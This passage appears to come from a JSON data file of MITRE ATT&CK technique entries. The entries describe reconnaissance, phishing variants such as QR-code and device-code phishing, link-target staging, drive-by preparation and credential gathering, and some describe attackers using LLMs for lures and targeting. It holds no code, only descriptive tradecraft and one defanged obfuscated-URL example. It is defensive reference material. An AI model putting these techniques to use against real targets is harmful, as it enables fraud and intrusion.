Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593", + "text": "ATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1585.002", + "text": "ATT&CK technique: T1585.002 Email Accounts\nDescription: Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes. Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains). To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.001", + "text": "ATT&CK technique: T1566.001 Spearphishing Attachment\nDescription: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204.001", + "text": "ATT&CK technique: T1204.001 Malicious Link\nDescription: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.001", + "text": "ATT&CK technique: T1591.001 Determine Physical Locations\nDescription: Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.003", + "text": "ATT&CK technique: T1592.003 Firmware\nDescription: Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586.001", + "text": "ATT&CK technique: T1586.001 Social Media Accounts\nDescription: Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.001", + "text": "ATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1682", + "text": "ATT&CK technique: T1682 Query Public AI Services\nDescription: Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., Search Open Websites/Domains), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for Social Engineering approaches, identifying contact information for use in Phishing or Phishing for Information, or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion. Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., Generate Content or Establish Accounts. For obtaining access to AI tools and services, see Artificial Intelligence.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.003", + "text": "ATT&CK technique: T1591.003 Identify Business Tempo\nDescription: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.002", + "text": "ATT&CK technique: T1592.002 Software\nDescription: Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.001", + "text": "ATT&CK technique: T1590.001 Domain Properties\nDescription: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as 